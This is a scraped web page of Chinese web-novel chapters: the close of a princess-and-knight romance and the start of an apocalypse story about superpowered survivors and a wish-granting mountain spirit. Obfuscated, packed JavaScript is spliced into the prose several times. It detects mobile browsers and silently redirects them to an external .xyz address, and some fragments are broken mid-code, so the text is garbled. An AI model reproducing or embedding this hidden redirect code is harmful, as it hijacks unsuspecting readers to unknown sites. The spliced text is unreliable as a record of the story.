;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034246|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够与各位见面。” “小殿下，”年迈的骑士团团长慢悠悠的走过来，他扫视了一圈新晋骑士，又假装咳了两声“哎呦，我这一把老骨头了，没法带殿下参观骑士团，殿下不如随便挑一个年轻的，也好让我这个老头子歇一歇。” “亚伦爷爷，您上个星期才说自己能活到两百岁。”辛西娅颇为无奈，第五骑士团团长是她母亲的叔叔，算起来也是她的长辈，只是这长辈未免也太不靠谱了些。 “唉，小殿下，你这么说就不对了，”亚伦哈哈大笑“你爷爷我就是要早退休，多休息，才能活到两百岁，要是整天这么工作，那我连一百岁也活不到了。再说，你看这些小伙子长的多好，一个个都俊的很，让他们带你去玩儿，不比我这个老头子养眼？” “那就他吧，”辛西娅随手一指“好了亚伦爷爷，让他带我走走，您就不要说话了。” “呦，挑了个最壮实的。”亚伦调侃了一句，就背着手慢悠悠走了，只剩下辛西娅与利奥面面相觑。 “殿下，”利奥表面淡定，心里却紧张到不知该做什么，他行了一个标准的骑士礼，声音也像是硬邦邦的石头“请容许我自我介绍，我叫利奥，是第五骑士团的新晋骑士。” “我知道呀，”辛西娅努力伸手拍了拍利奥的肩膀“我认识你，我们在三年前见过，你还记得我吗？” “记得，”利奥一脸认真的看着辛西娅“我永远都记得殿下。” “咳，别总殿下殿下的叫我了，”辛西娅不知为何脸有些发烫，她微微低下头，不敢直视利奥的目光“我们是朋友，你叫我辛西娅吧。” “好。”利奥应了下来，虽然以他的身份不应该如此逾越的直呼公主名字，但他不想和辛西娅像陌生人一样礼貌又客气的对待彼此。 接下来的时间里，利奥负责带领辛西娅参观整个骑士团，辛西娅很快就把那点儿不自在丢在了脑后，开开心心的四处游玩，到了回宫的时间，她还依依不舍的不想离开。 “喜欢这儿，随时来玩儿就行了！”亚伦是个豪爽的老人家，他也挺喜欢辛西娅这个活泼聪明的侄孙女的，反正骑士团就在这儿，辛西娅一个小姑娘也闹不出什么乱子，想玩儿就玩儿呗。 “好，”除了亚伦以外，还有两个年轻人的眼睛也亮了起来，辛西娅喜滋滋的说道“我明天再过来，到时候亚伦爷爷可不准赶我。” “行，”亚伦眼睛一转，忽然来了主意，他装似不经意的瞥了利奥一眼“明天是让这小子陪你，还是爷爷给你换个更帅气的？” “亚伦爷爷！”辛西娅这会儿年纪尚小，还藏不住心事，她有些羞赧的喊了一声，随后便一溜烟钻进马车，头也不回的离开了。 时间又过去三年，转眼之间，昔日爱笑爱玩的小姑娘已经长成亭亭玉立的少女，辛西娅盘着精致的发髻，头上戴着小皇冠，今天是她的成人礼，此时夜已深，她却没有休息的意思。 “……辛西娅，”利奥提着一盏油灯走过来，他将手中的斗篷披在辛西娅肩上“已经很晚了，夜凉风紧，不如我们先回宫去吧？” “不急，你先坐下。”辛西娅坐在原地没动，她看着月亮，缓缓说道“利奥，今天亚伦爷爷和我提到你了，他说他想退休，而你是他最看好能够接手团长之位的人。” “殿下！”利奥心下有些不好的预感“我……我是您的骑士，更何况我资历尚浅，当不起如此重任。” “不，你的确合适。”辛西娅站起来，居高临下的看着利奥“你身上几乎囊括了骑士的所有优点，公正、仁慈、英勇、诚实，实际上，我也觉得第五骑士团很适合你，你只给我当骑士，实在是太屈才了。” “我……”利奥想说什么，最终还是道“我……听公主殿下的话。” 说着，他站起来，明明是个壮硕的成年男人，却无端让人觉得有几分委曲“殿下……我以后还能来皇宫吗？” “这就是我要和你说的第二件事了，”辛西娅笑了笑，眼里多了一丝狡黠“今天我成年了，成年以后我需要一位夫婿，你有什么人选可以推荐给我？” “殿下？！”利奥惊讶抬头，辛西娅的意思，是他想的那样吗？ “怎么？”辛西娅脸上挂着明显的笑意“辛西娅公主或许无法拥有一个全能的骑士，但她为什么不能有一个全能骑士当驸马呢？” “我……我愿意，”利奥说完才反应过来自己说了什么，他立刻单膝跪地，抬头看向辛西娅“辛西娅，你……可愿意嫁给我？” “当然，”辛西娅抬手“如果我不愿意的话，就不会在这里等你了。” “谢谢，”利奥握住辛西娅的手，轻轻落下一吻“您是我穷尽一生所追随的信仰。” 52. 末世弱肉强食异能者 此时已是深秋，山上的树叶纷纷落下，像是给地面盖了一层厚厚的毯子，花花伸出爪爪踩着落叶玩儿，可惜它体重太轻，踩了很久都没能将干枯的树叶彻底踩碎。 “云云，你已经收集了多少苦？”花花一边玩儿，一边随口问道“还有多久才能收集完啊？” “不急，”眠云双手捧着一杯热奶茶，虽然她不会因为冷热而受伤，但这样寒凉的天气喝一点儿暖的东西确实很舒服“有五个了。” “五个？”花花掰着自己的小猫爪数了数，她怎么数都是四个，怎么会有五个呢？ “嗯，”眠云应了一声“还记得皇后娘娘吗？她对应了八苦中的死。” “啊，”想到这儿，花花有些失落“我记得她，她想要一个孩子，云云，她已经死了吗？” “她的命不太好，”眠云神色平静“如果想逃离必死的命运，她就只能放弃皇后这个身份，但对她来说，隐姓埋名的活着还不如以皇后的身份死去。” 虽然没有表现出来，但卢令仪其实是个相当高傲的人，她做了十几年贵女，十几年皇后，又怎会因一个未知的未来而甘于平凡。 “可惜了，”花花叹了口气“我觉得皇后娘娘不是一个很坏的人，就这样轻易的死掉，真的很可惜。” “好与坏并不绝对，”眠云笑了笑，她将花花抱起来，给它顺了顺毛“对于卢家而言，皇后是个好女儿，对朝臣来说，她是个贤良皇后，可若站在刘烨、青禾这种与皇后立场不同人的角度，皇后未尝不是面慈心狠。” 这两人可没做过对不起皇后的事，刘烨是个胆子不大的学生，根本没有害人之心，青禾也只是个普通的宫女，被以家人的性命威胁，她很难不屈服。 “人类真复杂，好像人人都有错，可这些错又各有各的缘由。”花花想了半天，最终把自己的脑袋埋进眠云怀里。 “人类的确很复杂，”眠云抬手，水幕挡住了一颗疾驰而来的子弹“那边那位偷听的朋友，可以出来了吗？” 树林里传来哗啦哗啦的声响，一个几乎与落叶融为一体的男人端着枪走近，他目光里满是警惕，即使被眠云发现了也没放下枪。 “你是水系异能者？”男人长相普通，身材高大，肌肉结实，身上穿着迷彩工装裤和工字背心，脚蹬登山鞋，看上去便有一股精悍之气。 “水系？算是吧，”眠云神色淡淡“这位先生，请放心，我不会对你做出什么有害行为，相反的，我可以帮你实现愿望。” “帮我？”男人嗤笑一声，眼里闪过不屑“你一个女人，能帮我什么？” “我可以帮你实现一切愿望，只要你能付得起报酬。”眠云安安静静的坐在原处，对于这种人，她实在见过太多“先生不如考虑一下，毕竟我做交易绝对诚信，先实现愿望后拿报酬，哪怕实现不了，你也不吃亏，不是吗？” “呵！”男人冷笑一声，想要直接开枪，却不成想自己连一根手指都动不了，细细密密的藤蔓犹如丝线一般固定在他全身，现在除了眼睛，他唯一能动的地方就是嘴。 “你到底做了什么？”男人的声音很大，听起来气势十足，只是配合上如今的情形，反倒显出几分可笑来。 “只是让你冷静一下罢了，”眠云微微叹息“这位先生，敢问你尊姓大名？” “陈卓伟，”陈卓伟瞪大眼睛“我陈卓伟是个顶天立地的男人，你如今技高一筹，要杀要剐，悉听尊便！” “先生，或许你没有察觉，这里已经不是你所在的世界了。”眠云微微抬手，一阵微风袭来，摇动枝头干枯的树叶“这里是岐山，我是岐山山神眠云，我可以实现你的一个愿望，当然，也需要你付出代价。” “你真的能实现愿望？”陈卓伟这才察觉到不对，他所在的白山基地最厉害的异能者才有双异能，而眼前这个女人这么短的时间里就用了水系、木系、风系三种异能，她不可能是人类。 “是的，”眠云语气沉静，连姿势都没有改变“这位先生，你有什么愿望？” “我要成为末世最强，”陈卓伟眼珠子转的飞快“要是你能帮我实现的话，我什么都给你。” “最强这个定义太飘渺了，什么样才是最强？”眠云没有揭穿陈卓伟的小心思，而是说道“以你的资质，你最多能成为六级异能者。” 不是所有人都能成为顶级强者的，不然怎么会有天赋这个词，陈卓伟的天赋不好不坏，六级异能者已经是他能达到的顶峰。 “我吃点儿亏，六级就六级！”在完全不能动的情况下，陈卓伟显出了几分油滑，他在末世以前就是给人看场子的，怎么会没点儿机变。“你要什么东西？粮食？晶核？武器？” “这些东西对我来说没有意义，”眠云摇头“我可以让你立刻成为六级异能者，但你的异能只能使用四十年，四十年后，我会收回你的异能。” “成交！”陈卓伟没想到自己还能碰到这种好事，他几乎完全没思考，直接说道“我什么时候能成为六级异能者？” “现在。”眠云微微一笑，将藤蔓撤了回去，陈卓伟握了握自己的拳头，他是力量系异能者，现在前所未有的力量正在充斥着他的身体，他真的进阶了！ “这位小姐……”陈卓伟心里盘算着和眠云打好关系，却发现自己身后空无一人，就连刚刚那石桌石凳也不见了，几个兄弟正在他不远处站着，难道刚刚经历的一切都是他的幻觉？ 想到这儿，陈卓伟砰的一拳打在一块一人高的石头上，如果按照他之前三阶异能者的实力，石头顶多会出现裂痕，而现在，在他没怎么用力的情况下，石头却成了一堆碎块。 “老大，你进阶了！”一个打扮和陈卓伟差不多，比陈卓伟稍微矮一些的男人惊叫道“老大你也太牛了，再进阶，老大可就是四阶异能者了！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037488|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “四阶异能者算个屁！”陈卓伟得意洋洋的挥着拳头“老子现在是六阶！” “哇！”不管信还是不信，陈卓伟的队员们都纷纷附和了起来“我们基地最厉害的异能者也才六阶吧？” “我看老大比那个什么凌玉厉害多了，她不过是个女的，就算有六阶异能，也完全打不过老大。” “我看她那六阶异能就是吹出来的，老大可是实打实的六阶异能啊！” 将陈卓伟送走以后，眠云又摸了摸花花问道“怎么样，这次要跟我一起去玩儿吗？” “这次……就不去了吧？”向来爱玩儿的花花难得有些犹豫“刚才那个人太讨人厌了，云云你为什么要帮他啊？” “刚刚那人的确不讨喜，可他所在的位面却是个很有趣的地方，”眠云笑了笑“况且，我们公平交易，我又怎么能说是帮他呢？” “可是云云，我看那个人至少有三十多岁了，四十年后，他都七十多岁退休了，自然也不再需要异能，花花你这次要的东西对他来说根本是无本买卖啊。”花花十分不理解，为什么眠云会对这个讨人厌的人如此宽容。 “他大概也是这么想的，所以才会回答的这么干脆。”眠云笑的意味深长“可……谁又说过，他只能活一百年？” “唉？”花花的耳朵支棱起来“难道……” “这位陈卓伟先生所在的位面，正在经历灵气复苏，灵气相当浓郁，六阶异能者，寿命在两百到三百年之间。”眠云点了点花花的脑袋“现在你还觉得他占便宜了吗？” 如果陈卓伟和寻常人一样只能活百年，那七十多岁的确是衰老的年纪，但他可以活到两百多岁，七十多的时候还不到中年。 “哇……云云你也太聪明了，”花花这会儿又精神了起来“我们一起去那个灵气复苏的位面看看吧？毕竟灵气复苏很少见吧？” “现在又高兴了？”眠云笑着抱起花花“走吧，我们一起去看看，那个被称作末世的世界。” * 末世第三年，白山基地。 白山基地因紧邻白山而闻名，这里是华国范围内最大的异□□易市场，无论何时都是人来人往，有不少外地的商贩会专程过来收购异兽，也有一些有实力的异能者小队会亲自进入白山狩猎。 现在正值傍晚，狩猎小队大多在这个时间回来，城内城外到处都是讨价还价的声音，但若论最热闹的地方，还要属佣兵协会。 “您好，请问有什么需要帮您的吗？”一个身着蓝色制服，大概三十岁左右的女子露出标准微笑。 “交任务，”陈卓伟将一块牌子扔到了对方面前“三级疾风兔十只，已经交给检验处验过了。” “好的，现在就为您办理。”女子有些烦眼前这个一脸高傲的人，但职责如此，她也不得不忍下来。“您已经成功交付315079号任务，请去收支处领取佣金。” 53. 第2章 “还没完呢！”陈卓伟身边的男人伸手敲了敲前台的桌子“我们老大可是六阶异能者，这次大有收获，猎了一只五阶裂地熊回来，你们协会收不收？” “请您稍等，我帮您查一下。”负责接待的姑娘语气稍稍严肃了一些，她向面前的机器内输入了几个数字，检查过后才开口“抱歉，雇佣兵协会内暂时没有有关裂地熊的任务，若您诚信想要卖的话，我可以帮您联系我们的负责人。” 五阶异兽固然珍贵，但也不是人人都用得上的，这种级别的异兽一般不会公开挂在协会的任务栏中，她只是一个小小的招待人员，做不了主，最多能往上报，看看协会内的大佬们有没有意向买。 “你什么意思？”陈卓伟的兄弟王强急了，他把招待员面前的玻璃拍的碰碰作响“你看清楚，这可是五阶异兽！” “先生请您冷静！”招待员提高音量“协会内暂时没有相关任务，我只负责接待，没有权限做主购买，协会是否要购买请您问我们的负责人！” 钱难挣屎难吃，这一天天的，她当个接待员招谁惹谁了，没有就是没有，把火发到她一个普通人头上算什么本事？ “怎么回事？”一个身形高挑，戴着眼镜的男人匆匆赶来“杨韵，发生什么了？” “经理，”杨韵心里有气，语气不免有几分抱怨的意味“这几位先生猎到了五阶异兽裂地熊，他们要向协会出售，不知道协会收不收？” 五阶异兽的晶核至少要五阶异能者才能用，整个白山基地的五阶异能者不过几百人，而且裂地熊的晶核对土系、力量系异能者效果最好，其他异能者次之，这么筛选一下，能用得上的人就很有限了，这人怕不是故意来闹事的吧？ “这样啊，”被杨韵叫做经理的男人点头“这位先生，一只五阶异兽非同小可，我们可以去会客厅谈一谈。” “你不应该先给我道个歉吗？”王强仗着陈卓伟是六阶异能者，无所畏惧指着杨韵说道“还有，你们这个招待员太不礼貌了，立马让她走人！” “经理……”杨韵的脸色变得很难看，她嗫嚅着看向经理“对不起，我……” “抱歉，如果有招待不周的地方，我道歉。”经理干脆的道了歉，语气平淡异常“但我们的工作人员没有业务疏矢，恕难从命。” “你……”王强碰了个软钉子，他转头看向陈卓伟“老大！” “兄弟，这可就是你的不对了，”陈卓伟看够了，才站出来慢悠悠的说道“这个女的得罪了我兄弟，让她滚就行，何必伤了和气呢。” “雇佣兵协会有规定，若无正当理由，不得辞退员工。”经理眼睛都没眨一下，他在末世以前是企业高管，比眼前这个自大的男人更厉害的角色他不知道对付过多少。 “那可就别怪我手下不留情了！”陈卓伟听罢，直接一拳砸向经理面门，旁边的玻璃窗被他带起的拳风击碎，经理皱了皱眉头，迅速躲闪，他是速度系五阶异能者，躲开这一拳还是没问题的。 “先生，”经理微微提高音量“佣兵协会内部不允许争斗，你已经违反了协会的规定，请立即离开，否则协会有权做出反击。” “你一个五阶异能者，能对我做什么？”陈卓伟吹了吹拳头“让你们会长出来见我。” 今天这件事还真不好解决。 经理深深皱起眉头，对方应该是六阶异能者，协会里的六阶异能者只有四个，会长自然不能轻易出面，偏偏负责安全的安全部部长今天不在，看来只能…… “发生了什么，这么热闹？”一个两鬓斑白，皮肤黝黑，身材壮实，大约五十岁上下的男人走了进来，他看了一眼碎成渣的玻璃，又看了一眼经理“呦，打架呢？” “秦会长，”经理微微颔首道“您来了。” “嘿，副会长就副会长，还叫什么秦会长，我老头子可不兴你们那一套。”秦会长一扬手“小子，敢在佣兵协会打架，胆子不小，不如陪老头子我练练手？” “好说，”陈卓伟心里有些没底，毕竟他没想到佣兵协会的人来的这么快，这个老头看起来不起眼，却是佣兵协会的副会长，六阶力量系异能者，但现在箭在弦上，不得不发，也由不得他拒绝了。“老爷子，请……指教！” 话音未落，陈卓伟立刻挥出一拳，他想着，力量系异能者只是强化力量，却没有强化反应能力，他一个年轻人，怎么也比一个老头子反应快，只要他先出拳，那秦忠定不是他的对手。 “年轻人，不讲武德。”秦会长摇摇头，以拳对拳，他的拳虽是后出，却是先到，两人拳拳相接，秦会长后退了两步，陈卓伟却是连退五步才站稳脚。 “本事倒是不孬，怪不得火气那么大，”秦会长哼笑一声“只不过比起老头子我，还差了点儿。” 所谓几阶，只是人类对于力量的一个范围性划分，哪怕是同阶，力量也不可能一模一样，就像六阶范围的力量数值可能是六百到七百，陈卓伟的力量是六百出头，而秦会长的力量是六百五十以上，在两人异能相同的情况下，陈卓伟打不过秦会长再正常不过。 陈卓伟也想到了这一点，他向眠云要力量的时候只说了要六阶，可白山基地又不止他一个六阶，暂时还做不到称霸基地。 “我们走！”陈卓伟的脸色变来变去，最终还是理智占了上峰，转头带着一群兄弟离开。 “这位先生，你已被雇佣兵协会拉入黑名单，从今以后您和您的队员不能在协会发布和接取任务。”经理非常专业的拿出了文件夹，实际上他做这类工作更多一些，打架的时候反而少“玻璃的费用和赔偿给杨韵小姐的精神损失费会在您的任务金中扣除。” 雇佣兵协会的任务大厅人来人往，陈卓伟在任务大厅闹事，很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043991|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都看到了，见陈卓伟就这样灰溜溜的离开，不少人窃窃私语，甚至暗中嘲笑。 白山基地谁不知道，雇佣兵协会是整个基地最强大的势力，被雇佣兵协会拉入黑名单，以后可要不好过喽。 “老大，现在怎么办？”王强心里发慌，他自从跟着陈卓伟一起来到白山基地就一直以雇佣兵协会的任务为生，现在骤然听到自己被拉黑，一时竟没了主意。 “我们自己卖不就行了？”陈卓伟脸色阴沉，他本来想凭借六阶的实力给雇佣兵协会一个下马威，没想到雇佣兵协会的副会长竟然在这儿，他偷鸡不成蚀把米，还把自己的后路给断了。“外面那么多摆摊的，都是自己卖，只要我们卖的便宜一点儿，肯定能卖出去。” “老大英明！”王强眼睛亮了亮“老大现在已经是六阶异能者了，不愁猎不到高阶异兽，有了高阶异兽，随便卖卖就能卖出高价，到时候说不定雇佣兵协会都得被老大顶下去。” 陈卓伟神色稍缓，虽然他知道，雇佣兵协会这样的庞然大物不是轻易能够替代的，但王强这么说，起码让他面子上过的去。 忽然，陈卓伟转头看向身后，王强不明所以的到处看也没发现端倪，只好问道“老大，咋了？” “没事，看错了。”陈卓伟回过头，他刚刚好像看到了那个让他成为六阶异能者的女人，但一转眼人又不见了。 “云云，这里不是正在经历灵气复苏吗？”花花攀着眠云的肩膀四处张望“为什么这里显得有一点儿……简朴？” 这里的街道并不整齐宽阔，相反的，整个基地除了城墙以外的地方都很破旧，这可不像是灵气复苏的样子啊？ “三年前，一颗来自其他位面的陨石降落在这个世界，那枚陨石蕴含了巨大的能量，从而影响了这个世界的规则。”眠云语气平淡“唔……用这个世界的话来说就是外太空的陨石含有某种辐射，受到辐射的影响，动物植物人类都有了不同程度的变异。” “可他们都变得更厉害了，这应该是好事吧？”花花不明所以的问道。 “如果是自然发展，循序渐进的灵气复苏当然是好事”眠云不疾不徐的说着“但那块陨石所蕴含的力量太强了，与那种能量相排斥的人立刻堕落成了无理智的怪物，这种怪物身上产生了一种新的病毒，如果怪物的唾液、血液等进入人类的伤口，健康的人也会被感染，这里的人将这种堕落的人类称之为丧尸。” “怪不得这里有点儿破，”花花恍然大悟“大概是这个世界有很多丧尸，丧尸又袭击人类，才会变成这样吧？” “没错，”眠云微微点头“这个世界最初变成丧尸的就有大约十分之一的人口，因为丧尸易感染的特性，一年之后大约百分之七十的人都成了丧尸，只是人类是顽强的，哪怕再艰难，也会给自己找出一条活路，眼前这座基地就是人类的成果。” 54. 第三章 末世第一年，丧尸横行，人类大多在逃亡，疲于奔命，乱象横生。 末世第二年，人们已经习惯了丧尸的存在，开始建立起小型聚落，与此同时，动物、植物开始出现不同程度的变异，在速度、力量、体型等方面有所提升，有的甚至还有异能，这种与末世以前不同的动植物被人们称作异兽/异植。 末世第三年，各种基地如雨后春笋一般冒了出来，人类也逐渐掌握了一些关于异能、异兽、丧尸的知识，白山基地紧邻白山，而白山又有丰富的异兽资源，所以白山基地是华国范围内颇有名气的大型基地，也是异能者数量最多的基地。 当然，新的力量也代表了新的秩序，这个世界只有大概十分之一的人口觉醒了异能，多数人仍旧是普通人，普通人很难在丧尸、异兽、异植的围剿下生存，只能在基地内工作生活，收入低微，渐渐就成为了社会底层。 白山基地的南区是种植园，北区是交易市场，东、西两区是住宅区，基地是由以前的城市改建，东区是以前的富人区，房子的质量更好，西区是老城区，房子相对破旧，所以大多数收入不高的普通人都会选择租金相对更便宜的西区，也有人调侃西区为贫民窟。 时间已经来到傍晚，西区逐渐热闹了起来，西区的中心广场更是人满为患，外来者或许不大清楚，但白山基地的人都知道，每隔三天，雇佣兵协会就会在广场上施粥，每人一碗，必须当场喝完，对于不少老弱病残而言，这一碗稠粥就是他们活下去的希望。 “粥有些烫，请您拿好。”一个年龄大概在二十出头，梳着丸子头的年轻姑娘笑容温和的将粥递给一个身材佝偻的老妪，面对衣衫褴褛，手上都是泥的老妪，她丝毫没有嫌弃的意思，反而确定了对方拿好粥以后才松开手。 “谢谢、谢谢啊！”老妪用颤抖的双手接过粥，“姑娘，你真是好人。” “您过奖了。”凌玉笑容温和礼貌“我叫凌玉，您叫我小凌就行，请去那边的用餐区喝粥吧，粥凉了就该不好喝了。” 接着，凌玉就像旁边招招手，一个身着蓝色制服的女人走了过来，将老妪搀扶到椅子上坐下。 “小朋友，你今年几岁了？”确认老妪入坐以后，凌玉看着面前身高只到她胸口的小男孩问道。 “……九岁。”小男孩抿了抿唇，他是外面来的流民，才到白山基地没几天，还是听邻居说这个广场有人免费送吃的才过来，可……送吃的也要问年纪吗？ “十岁以下的孩子除了粥，还有一个额外的鸡蛋。”听到小男孩这么说，站在凌玉身边的人立刻摸了两下男孩的手掌，确认了年纪，又对凌玉点头，凌玉将鸡蛋放进粥碗里递给对方。 “谢谢！”小男孩眼睛顿时亮了，他端起碗想要离开，却被凌玉拦住。 “小朋友，粥只能在这儿吃完。”凌玉提醒道“你看，你年纪这么小，又没什么力气，如果离开这里，食物可能会被抢走，只有在这儿吃进肚子里才不会被抢。” “可是……我还有一个妹妹，”男孩几番挣扎后还是说了出来“我妹妹生病了，没法过来排队，我能不能把东西带走？求求你了，就一次！” “原来是这样啊，”凌玉点头，又叫来了一个人，交代了几句话，盛了一整碗粥和一个鸡蛋交给她“这个姐姐会和你一起去你家，把食物带给你妹妹，加油，你妹妹一定会好起来的。” “谢谢！”小男孩有点儿想哭，他深深的朝凌玉鞠了一躬“我长大以后一定会报答你的。” 凌玉笑了笑，没有说话，只是拍拍小男孩的脑袋，接着给下一个人盛粥。 西区人不少，拥有稳定工作的人却不多，雇佣兵协会的人一般会一直忙到晚上。 陈卓伟折价卖掉了那只五阶异兽，价格虽然不让他满意，但收入好歹比卖三阶异兽高得多，拿着这笔钱，他心中有些畅快，直接大手一挥，请兄弟们来西区放松放松。 “老大，你快看那个，”王强拍了拍陈卓伟的肩膀“那人不是雇佣兵协会的会长凌玉吗？以前我听人说过，她会亲自来贫民窟给那些普通人送食物，我本来以为这消息是雇佣兵协会放出来收买人心的，没想到她还真来啊？” “虚伪！”陈卓伟冷哼一声“不过是做些表面功夫，这个世界就是弱肉强食，强者决定一切，她一个女人懂个屁，给那些老不死的粮食简直就是浪费！” “就是，”王强附和道“乱世先杀圣母，只有集中资源，让强者先享用，才能造出英雄，带领大家结束末世。” 几个男人群情激愤，好似雇佣兵协会抢了他们的粮食去施舍旁人，只是他们都不敢说的太大声，毕竟雇佣兵协会的人就在附近，要是被听见那可就遭了。 “要我说，女的就不适合当领导，”陈卓伟被追捧的有些飘飘然，“你看哪个领域顶尖的不是男人？那个雇佣兵协会也是傻的，让一个女人上去，我猜啊，她估计是哪个副会长的情人，说不定是公用的，不然的话，她怎么当上的会长？” “老大说的是，”王强笑了几声“老大，今儿咱们兄弟多赚了些，要不……我们去夜色迷离？” 东区的商业设施远比西区豪华，可有一样，东区却是没有的，那就是妓院。 白山基地内不允许开妓院，只有在混乱的西区，才有做皮肉生意的女人，对于那些女人来说这也是件很无奈的事，毕竟和死比起来，其他的都是小事。 “没见识，”陈卓伟呸了一声“夜色迷离算什么？今儿老子带你们见识见识更好的！” “哎呦，还是老大有善心，”王强挤眉弄眼的对其他人说道“拯救失足妇女，这不比给那些老不死的喝粥强多了。” “叔叔，要买花吗？”旁边一个七八岁的小女孩拉了拉王强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047908|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的衣袖“这些花都是我出城摘的，叔叔的女朋友一定会喜欢的。” 说是花，其实和末世以前精心培育出来的花相差甚远，小女孩卖的不过是些随处可见的野花，只要花些时间就能采到，她倒是有些巧思，将些五颜六色的花捆成一束，看着也还算亮眼。 “……多少钱？”王强本有些不耐烦，但他转念一想，今儿老大带他去见世面，说不定有美人儿，手里有束花，要是能讨得美人欢心，那可就赚了。 “不贵的。”小女孩说出了一个价，她在西区卖花只能算赚个辛苦钱，自然不可能太贵。 王强爽快的付了钱，看到他走后，小女孩立刻将摊子一收，吧嗒吧嗒的跑到凌玉旁边，扯住凌玉的衣袖小声对她说了几句话。 “小西是说，刚刚有人在说我坏话？”凌玉俯身摸了摸小女孩的脑袋“你认识他们吗？” “不认识，”小女孩摇摇头“但他们不是西区的人，应该是一支异能者小队。” 普通人有普通人的辨别方法，这几人是生面孔，穿的还算不错，出手也大方，加之都是孔武有力的男人，是异能者小队的可能性很大。 “不过我猜，他们应当是去找梦姐姐的，要不就是兰姐姐，”小女孩接着说道“他们的老大说夜色迷离不算什么，比夜色迷离还强些的，大概就只有这两处了。” 年纪这么小的孩子本不应该知道这些，可在西区生活的孩子每天耳濡目染，很难不知道。 “我知道了，”凌玉笑了笑，顺手拿了一个橘子给小女孩“没关系，我能找到他们，小西很乖，凌姐姐奖励给小西一个橘子好不好？” “好，”小女孩骄傲的扬起头“我最乖了，下次有这种事，我还告诉凌姐姐。” “去吧，”凌玉笑道“今天已经很晚了，你的花凌姐姐出钱卖下来，快点儿回家去吧。” 小女孩乖巧点头，她想着，今天真是个好日子，不仅将花全卖出去了，还得了个橘子吃，要是天天都能这么幸运就好了。 另一边，半夜被从床上揪起来的陈卓伟可就不那么想了，虽然白山基地明面上是禁止用身体作交易的，但实际上执行的力度很低，也就偶尔会查一查，可没想到他点儿这么背，带兄弟过来见个世面，就直接被抓了。 虽然被抓也就是被关几天外加罚款，但一群男人光溜溜的被抓住，实在有些有些挂不住面子，陈卓伟黑着脸走在前面，他的御用跟班王强跟在后面，其他人虽嘴上没说，但心里也是尴尬的。 “到底是哪个王八犊子算计了老子？”陈卓伟将路边的石头踢走，大声骂道“要是让老子知道了，非把他剁碎了喂狗！” “老大说的是，”王强附和了一句，他心里并不觉得是旁人的算计，只当是自己倒霉“那个……老大，都过了这么多天，兄弟们手里的钱不多，要不……我们出城去捞一笔？” 55. 第4章 陈卓伟几人在往城外走的时候，一封密告被悄无声息的放在了凌玉的办公桌上，凌玉拿起来看了几眼，唇角扬起一抹不明显的笑。 “咚咚咚” 敲门声不紧不慢的响起，门外的人似乎并不着急，哪怕里面无人应门也继续以一种极规律的节奏敲着，凌玉眼中笑意更浓，她从办公室的暗门离开，悄无声息的摸到了来人背后。 她伸手想要去碰对方，却在碰到之前被抓住了手，那人将她的手握住，又捏了两下，像是很享受这个动作。 “不愧是精神系异能者，反应就是快，”凌玉并不意外这个结果，他们相识这么多年，对彼此了如指掌，哪怕闭着眼睛都不会认错“怎么办？今天你来的不巧，我刚好要出门一趟。” “一起。”英俊儒雅的男人漾出一抹笑，“又发现什么有趣的东西了？” “这个，”凌玉扬了扬手里的信“的确有点儿意思。” “陈卓伟，三阶力量系异能者，至少在一个星期以前还是这样，”凌玉简单说明了一下情况“最近不知什么缘由，他忽然成了六阶异能者，秦会长和他打过，六阶力量系异能货真价实，异能有可能在短期内提升这么多吗？” “不是没有这个可能，”江书言翻看着陈卓伟近来的情报“如果他接触过高度压缩的能量，确实有可能在短时间内提升很大，只不过……这可不是什么好事。” “怎么说？”凌玉好奇的问道。 “和饭要一口一口吃是一个道理，”江书言坦言“曾经有人实验过，将大量能量注入到异能者体内，异能者的实力的确提升了，但身体却遭到了不可逆的损坏，或许一开始几年看不出端倪，但后期各种器官都会出问题，重病缠身，哪怕强撑着不死，也是个废人了。” “还有这种事，”凌玉有些惊讶，但一想江书言来自哪里也就不奇怪了“我准备去看一下这个说不上来是幸运还是倒霉的人，这种情况太罕见了，值得观察。” 